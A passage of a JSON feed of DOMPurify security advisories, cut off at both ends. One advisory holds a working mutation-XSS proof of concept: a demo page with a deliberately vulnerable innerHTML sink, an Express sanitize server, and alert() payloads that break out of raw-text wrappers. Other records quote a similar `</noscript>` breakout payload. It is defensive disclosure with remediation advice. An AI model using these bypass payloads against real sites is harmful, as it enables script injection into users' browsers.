margin-bottom: 7px;\n        font-size: 0.85rem;\n        color: var(--muted);\n      }\n\n      textarea,\n      input,\n      select,\n      button {\n        width: 100%;\n        border: 1px solid var(--line);\n        border-radius: 8px;\n        padding: 9px 10px;\n        font: inherit;\n        background: #fff;\n      }\n\n      textarea {\n        min-height: 110px;\n        resize: vertical;\n      }\n\n      .row {\n        display: grid;\n        grid-template-columns: 1fr 230px;\n        gap: 12px;\n      }\n\n      button {\n        cursor: pointer;\n        background: var(--accent);\n        color: #fff;\n        border-color: #0284c7;\n      }\n\n      #sink {\n        min-height: 90px;\n        border: 1px dashed #94a3b8;\n        border-radius: 8px;\n        padding: 10px;\n        background: #f8fafc;\n      }\n\n      pre {\n        margin: 0;\n        white-space: pre-wrap;\n        word-break: break-word;\n      }\n\n      .note {\n        margin-top: 8px;\n        font-size: 0.85rem;\n      }\n\n      .status-grid {\n        display: grid;\n        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));\n        gap: 8px;\n        margin-top: 10px;\n      }\n\n      .status-item {\n        border: 1px solid var(--line);\n        border-radius: 8px;\n        padding: 8px 10px;\n        font-size: 0.85rem;\n        background: #fff;\n      }\n\n      .status-item.vuln {\n        border-color: #ef4444;\n        background: #fef2f2;\n      }\n\n      .status-item.safe {\n        border-color: #22c55e;\n        background: #f0fdf4;\n      }\n\n      @media (max-width: 760px) {\n        .row {\n          grid-template-columns: 1fr;\n        }\n      }\n    \u003c/style\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003cmain\u003e\n      \u003ch1\u003eexpoc - DOMPurify Server-Side PoC\u003c/h1\u003e\n      \u003cp\u003e\n        Flujo: input -\u003e POST /sanitize (Node + jsdom + DOMPurify) -\u003e render vulnerable con innerHTML.\n      \u003c/p\u003e\n\n      \u003cdiv class=\"grid\"\u003e\n        \u003csection class=\"card\"\u003e\n          \u003clabel for=\"payload\"\u003ePayload\u003c/label\u003e\n          \u003ctextarea id=\"payload\"\u003e\u003cimg src=x alt=\"\u003c/script\u003e\u003cimg src=x onerror=alert('expoc')\u003e\"\u003e\u003c/textarea\u003e\n          \u003cdiv class=\"row\" style=\"margin-top: 10px;\"\u003e\n            \u003cdiv\u003e\n              \u003clabel for=\"wrapper\"\u003eWrapper en sink\u003c/label\u003e\n              \u003cselect id=\"wrapper\"\u003e\n                \u003coption value=\"div\"\u003ediv\u003c/option\u003e\n                \u003coption value=\"textarea\"\u003etextarea\u003c/option\u003e\n                \u003coption value=\"title\"\u003etitle\u003c/option\u003e\n                \u003coption value=\"style\"\u003estyle\u003c/option\u003e\n                \u003coption value=\"script\" selected\u003escript\u003c/option\u003e\n                \u003coption value=\"xmp\"\u003exmp\u003c/option\u003e\n                \u003coption value=\"iframe\"\u003eiframe\u003c/option\u003e\n                \u003coption value=\"noembed\"\u003enoembed\u003c/option\u003e\n                \u003coption value=\"noframes\"\u003enoframes\u003c/option\u003e\n                \u003coption value=\"noscript\"\u003enoscript\u003c/option\u003e\n              \u003c/select\u003e\n            \u003c/div\u003e\n            \u003cdiv style=\"display:flex;align-items:end;\"\u003e\n              \u003cbutton id=\"run\" type=\"button\"\u003eSanitize + Render\u003c/button\u003e\n            \u003c/div\u003e\n          \u003c/div\u003e\n          \u003cp class=\"note\"\u003eSe usa render vulnerable: \u003ccode\u003esink.innerHTML = '\u0026lt;wrapper\u0026gt;' + sanitized + '\u0026lt;/wrapper\u0026gt;'\u003c/code\u003e.\u003c/p\u003e\n          \u003cdiv class=\"status-grid\"\u003e\n            \u003cdiv class=\"status-item vuln\"\u003escript (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003exmp (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003eiframe (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoembed (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoframes (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoscript (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003ediv (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003etextarea (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003etitle (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003estyle (no vulnerable)\u003c/div\u003e\n          \u003c/div\u003e\n        \u003c/section\u003e\n\n        \u003csection class=\"card\"\u003e\n          \u003clabel\u003eSanitized response\u003c/label\u003e\n          \u003cpre id=\"sanitized\"\u003e(empty)\u003c/pre\u003e\n        \u003c/section\u003e\n\n        \u003csection class=\"card\"\u003e\n          \u003clabel\u003eSink\u003c/label\u003e\n          \u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n        \u003c/section\u003e\n      \u003c/div\u003e\n    \u003c/main\u003e\n\n    \u003cscript\u003e\n      const payload = document.getElementById('payload');\n      const wrapper = document.getElementById('wrapper');\n      const run = document.getElementById('run');\n      const sanitizedNode = document.getElementById('sanitized');\n      const sink = document.getElementById('sink');\n\n      run.addEventListener('click', async () =\u003e {\n        const response = await fetch('/sanitize', {\n          method: 'POST',\n          headers: { 'Content-Type': 'application/json' },\n          body: JSON.stringify({ input: payload.value })\n        });\n\n        const data = await response.json();\n        const sanitized = data.sanitized || '';\n        const w = wrapper.value;\n\n        sanitizedNode.textContent = sanitized;\n        sink.innerHTML = '\u003c' + w + '\u003e' + sanitized + '\u003c/' + w + '\u003e';\n      });\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n- server.js\n\n```js\nconst express = require('express');\nconst path = require('path');\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM('').window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.get('/health', (_req, res) =\u003e {\n  res.json({ ok: true, service: 'expoc' });\n});\n\napp.post('/sanitize', (req, res) =\u003e {\n  const input = typeof req.body?.input === 'string' ? req.body.input : '';\n  const sanitized = DOMPurify.sanitize(input);\n  res.json({ sanitized });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n  \"name\": \"expoc\",\n  \"version\": \"1.0.0\",\n  \"main\": \"server.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" \u0026\u0026 exit 1\",\n    \"start\": \"node server.js\",\n    \"dev\": \"node server.js\"\n  },\n  \"keywords\": [],\n  \"author\": \"\",\n  \"license\": \"ISC\",\n  \"description\": \"\",\n  \"dependencies\": {\n    \"dompurify\": \"^3.3.1\",\n    \"express\": \"^5.2.1\",\n    \"jsdom\": \"^28.1.0\"\n  }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n\u003cimg width=\"2746\" height=\"1588\" alt=\"daft-img\" src=\"https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15\" /\u003e\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (`\u003c/xmp\u003e`) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including `\u003c/xmp\u003e`, `\u003c/noscript\u003e`, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-27T20:41:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2","https://github.com/cure53/DOMPurify/releases/tag/3.3.2","https://github.com/advisories/GHSA-h8r8-wccr-v5f2"],"source_kind":"github","identifiers":["GHSA-h8r8-wccr-v5f2","CVE-2026-65914"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-27T21:00:09.339Z","updated_at":"2026-10-26T21:04:43.812Z","epss_percentage":0.00307,"epss_percentile":0.23298,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHI4LXdjY3ItdjVmMs4ABUZm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oOHI4LXdjY3ItdjVmMs4ABUZm","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.3.2","vulnerable_version_range":"\u003c 3.3.2"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHI4LXdjY3ItdjVmMs4ABUZm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12OGptLTV2d3gtY2Z4bc4ABTDE","url":"https://github.com/advisories/GHSA-v8jm-5vwx-cfxm","title":"DOMPurify contains a Cross-site Scripting vulnerability","description":"DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like \u003c/textarea\u003e in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-03T18:31:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-15599","https://github.com/cure53/DOMPurify/commit/c861f5a83fb8d90800f1680f855fee551161ac2b","https://github.com/cure53/DOMPurify","https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml","https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml","https://github.com/advisories/GHSA-v8jm-5vwx-cfxm"],"source_kind":"github","identifiers":["GHSA-v8jm-5vwx-cfxm","CVE-2025-15599"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-04T21:00:09.632Z","updated_at":"2026-10-27T20:06:18.480Z","epss_percentage":0.00255,"epss_percentile":0.16924,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OGptLTV2d3gtY2Z4bc4ABTDE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OGptLTV2d3gtY2Z4bc4ABTDE","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.5.3, \u003c= 2.5.8"},{"first_patched_version":"3.2.7","vulnerable_version_range":"\u003e= 3.1.3, \u003c 3.2.7"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OGptLTV2d3gtY2Z4bc4ABTDE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12MndqLTd3cHEtYzh2ds4ABTDL","url":"https://github.com/advisories/GHSA-v2wj-7wpq-c8vv","title":"DOMPurify contains a Cross-site Scripting vulnerability","description":"DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the `SAFE_FOR_XML` regex. Attackers can include payloads like `\u003c/noscript\u003e\u003cimg src=x onerror=alert(1)\u003e` in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-03T18:31:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-0540","https://github.com/cure53/DOMPurify/commit/fca0a938b4261ddc9c0293a289935a9029c049f5","https://github.com/cure53/DOMPurify","https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml","https://github.com/cure53/DOMPurify/commit/302b51de22535cc90235472c52e3401bedd46f80","https://fluidattacks.com/advisories/daft","https://github.com/cure53/DOMPurify/releases/tag/3.3.2","https://github.com/advisories/GHSA-v2wj-7wpq-c8vv"],"source_kind":"github","identifiers":["GHSA-v2wj-7wpq-c8vv","CVE-2026-0540"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-04T21:00:09.632Z","updated_at":"2026-10-26T21:05:18.279Z","epss_percentage":0.00353,"epss_percentile":0.28748,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MndqLTd3cHEtYzh2ds4ABTDL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12MndqLTd3cHEtYzh2ds4ABTDL","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"2.5.9","vulnerable_version_range":"\u003e= 2.5.3, \u003c= 2.5.8"},{"first_patched_version":"3.3.2","vulnerable_version_range":"\u003e= 3.1.3, \u003c= 3.3.1"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MndqLTd3cHEtYzh2ds4ABTDL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12aHhmLTd2cXItbXJqZ84ABEeY","url":"https://github.com/advisories/GHSA-vhxf-7vqr-mrjg","title":"DOMPurify allows Cross-site Scripting (XSS)","description":"DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFE_FOR_TEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-02-14T09:31:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.5,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-26791","https://github.com/cure53/DOMPurify/commit/d18ffcb554e0001748865da03ac75dd7829f0f02","https://ensy.zip/posts/dompurify-323-bypass","https://github.com/cure53/DOMPurify/releases/tag/3.2.4","https://nsysean.github.io/posts/dompurify-323-bypass","https://github.com/advisories/GHSA-vhxf-7vqr-mrjg"],"source_kind":"github","identifiers":["GHSA-vhxf-7vqr-mrjg","CVE-2025-26791"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":0.0,"created_at":"2025-02-14T19:07:38.501Z","updated_at":"2026-10-26T21:08:11.006Z","epss_percentage":0.00605,"epss_percentile":0.48659,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12aHhmLTd2cXItbXJqZ84ABEeY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12aHhmLTd2cXItbXJqZ84ABEeY","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.2.4","vulnerable_version_range":"\u003c 3.2.4"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12aHhmLTd2cXItbXJqZ84ABEeY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wM3ZmLXY4cWMtY3djcs4ABA13","url":"https://github.com/advisories/GHSA-p3vf-v8qc-cwcr","title":"DOMPurify vulnerable to tampering by prototype polution","description":"dompurify was vulnerable to prototype pollution\n\nFixed by https://github.com/cure53/DOMPurify/commit/d1dd0374caef2b4c56c3bd09fe1988c3479166dc","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-10-31T14:23:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-p3vf-v8qc-cwcr","https://github.com/cure53/DOMPurify/commit/d1dd0374caef2b4c56c3bd09fe1988c3479166dc","https://nvd.nist.gov/vuln/detail/CVE-2024-48910","https://lists.debian.org/debian-lts-announce/2025/02/msg00010.html","https://github.com/advisories/GHSA-p3vf-v8qc-cwcr"],"source_kind":"github","identifiers":["GHSA-p3vf-v8qc-cwcr","CVE-2024-48910"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":44.20354698207268,"created_at":"2024-10-31T15:06:28.619Z","updated_at":"2026-10-22T15:09:07.605Z","epss_percentage":0.01151,"epss_percentile":0.66634,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wM3ZmLXY4cWMtY3djcs4ABA13","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wM3ZmLXY4cWMtY3djcs4ABA13","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003c 2.4.2"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wM3ZmLXY4cWMtY3djcs4ABA13/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1neDltLXdoam0tODVqZs4ABANT","url":"https://github.com/advisories/GHSA-gx9m-whjm-85jf","title":"DOMpurify has a nesting-based mXSS","description":"DOMpurify was vulnerable to nesting-based mXSS \n\nfixed by [0ef5e537](https://github.com/cure53/DOMPurify/tree/0ef5e537a514f904b6aa1d7ad9e749e365d7185f) (2.x) and\n[merge 943](https://github.com/cure53/DOMPurify/pull/943)\n\nBackporter should be aware of GHSA-mmhx-hmjr-r674 (CVE-2024-45801) when cherry-picking\n\nPOC is avaible under [test](https://github.com/cure53/DOMPurify/blob/0ef5e537a514f904b6aa1d7ad9e749e365d7185f/test/test-suite.js#L2098)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-10-11T17:27:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-gx9m-whjm-85jf","https://nvd.nist.gov/vuln/detail/CVE-2024-47875","https://github.com/cure53/DOMPurify/commit/0ef5e537a514f904b6aa1d7ad9e749e365d7185f","https://github.com/cure53/DOMPurify/commit/6ea80cd8b47640c20f2f230c7920b1f4ce4fdf7a","https://github.com/cure53/DOMPurify/blob/0ef5e537a514f904b6aa1d7ad9e749e365d7185f/test/test-suite.js#L2098","https://lists.debian.org/debian-lts-announce/2025/02/msg00010.html","http://seclists.org/fulldisclosure/2025/Apr/14","https://github.com/advisories/GHSA-gx9m-whjm-85jf"],"source_kind":"github","identifiers":["GHSA-gx9m-whjm-85jf","CVE-2024-47875"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":37.54924958692195,"created_at":"2024-10-11T18:06:28.761Z","updated_at":"2026-10-13T15:09:40.473Z","epss_percentage":0.01134,"epss_percentile":0.65503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neDltLXdoam0tODVqZs4ABANT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1neDltLXdoam0tODVqZs4ABANT","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.1.3","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.1.3"},{"first_patched_version":"2.5.0","vulnerable_version_range":"\u003c 2.5.0"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neDltLXdoam0tODVqZs4ABANT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tbWh4LWhtanItcjY3NM4AA_kd","url":"https://github.com/advisories/GHSA-mmhx-hmjr-r674","title":"DOMPurify allows tampering by prototype pollution","description":"It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check.\n\nThis renders dompurify unable to avoid XSS attack.\n\nFixed by https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21 (3.x branch) and https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc (2.x branch).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-09-16T20:34:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-mmhx-hmjr-r674","https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21","https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc","https://nvd.nist.gov/vuln/detail/CVE-2024-45801","https://github.com/advisories/GHSA-mmhx-hmjr-r674"],"source_kind":"github","identifiers":["GHSA-mmhx-hmjr-r674","CVE-2024-45801"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":39.45047741410788,"created_at":"2024-09-16T21:06:01.221Z","updated_at":"2026-10-24T21:08:09.307Z","epss_percentage":0.00894,"epss_percentile":0.58633,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbWh4LWhtanItcjY3NM4AA_kd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tbWh4LWhtanItcjY3NM4AA_kd","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.1.3","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.1.3"},{"first_patched_version":"2.5.4","vulnerable_version_range":"\u003c 2.5.4"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbWh4LWhtanItcjY3NM4AA_kd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04aGdnLXh4bTUtMzg3M84AA3ID","url":"https://github.com/advisories/GHSA-8hgg-xxm5-3873","title":"DOMPurify Open Redirect vulnerability","description":"DOMPurify before 1.0.11 allows reverse tabnabbing in demos/hooks-target-blank-demo.html because links lack a 'rel=\"noopener noreferrer\"' attribute.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-11-14T21:30:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-25155","https://github.com/cure53/DOMPurify/compare/1.0.10...1.0.11","https://github.com/cure53/DOMPurify/pull/337","https://github.com/cure53/DOMPurify/commit/7601c33a57e029cce51d910eda5179a3f1b51c83","https://github.com/advisories/GHSA-8hgg-xxm5-3873"],"source_kind":"github","identifiers":["GHSA-8hgg-xxm5-3873","CVE-2019-25155"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":0.0,"created_at":"2023-11-15T21:06:13.261Z","updated_at":"2026-10-26T21:12:32.190Z","epss_percentage":0.00508,"epss_percentile":0.4254,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aGdnLXh4bTUtMzg3M84AA3ID","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04aGdnLXh4bTUtMzg3M84AA3ID","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"1.0.11","vulnerable_version_range":"\u003c 1.0.11"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aGdnLXh4bTUtMzg3M84AA3ID/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYzcTctaDg5NS1tOTgy","url":"https://github.com/advisories/GHSA-63q7-h895-m982","title":"Cross-site Scripting in dompurify","description":"Cure53 DOMPurify before 2.0.17 allows mutation XSS. This occurs because a serialize-parse roundtrip does not necessarily return the original DOM tree, and a namespace can change from HTML to MathML, as demonstrated by nesting of FORM elements.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-12-18T22:51:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-26870","https://github.com/cure53/DOMPurify/commit/02724b8eb048dd219d6725b05c3000936f11d62d","https://github.com/cure53/DOMPurify/compare/2.0.16...2.0.17","https://lists.debian.org/debian-lts-announce/2020/10/msg00029.html","https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/","https://snyk.io/vuln/SNYK-JS-DOMPURIFY-1016634","https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-26870","https://www.oracle.com//security-alerts/cpujul2021.html","https://github.com/advisories/GHSA-63q7-h895-m982"],"source_kind":"github","identifiers":["GHSA-63q7-h895-m982","CVE-2020-26870"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":0.0,"created_at":"2022-12-21T16:13:12.456Z","updated_at":"2026-10-27T20:18:52.691Z","epss_percentage":0.04881,"epss_percentile":0.91529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYzcTctaDg5NS1tOTgy","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYzcTctaDg5NS1tOTgy","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"2.0.17","vulnerable_version_range":"\u003c 2.0.17"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYzcTctaDg5NS1tOTgy/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1qanEtYzg4cS1xaHI2","url":"https://github.com/advisories/GHSA-mjjq-c88q-qhr6","title":"Cross-Site Scripting in dompurify","description":"Versions of `dompurify` prior to 2.0.7 are vulnerable to Cross-Site Scripting (XSS). It is possible to bypass the package sanitization through Mutation XSS, which may allow an attacker to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 2.0.7 or later.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2020-09-03T21:22:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/cure53/DOMPurify/releases/tag/2.0.7","https://www.npmjs.com/advisories/1223","https://github.com/advisories/GHSA-mjjq-c88q-qhr6"],"source_kind":"github","identifiers":["GHSA-mjjq-c88q-qhr6"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":0.0,"created_at":"2022-12-21T16:13:16.378Z","updated_at":"2026-10-27T20:19:03.767Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1qanEtYzg4cS1xaHI2","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1qanEtYzg4cS1xaHI2","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"2.0.7","vulnerable_version_range":"\u003c 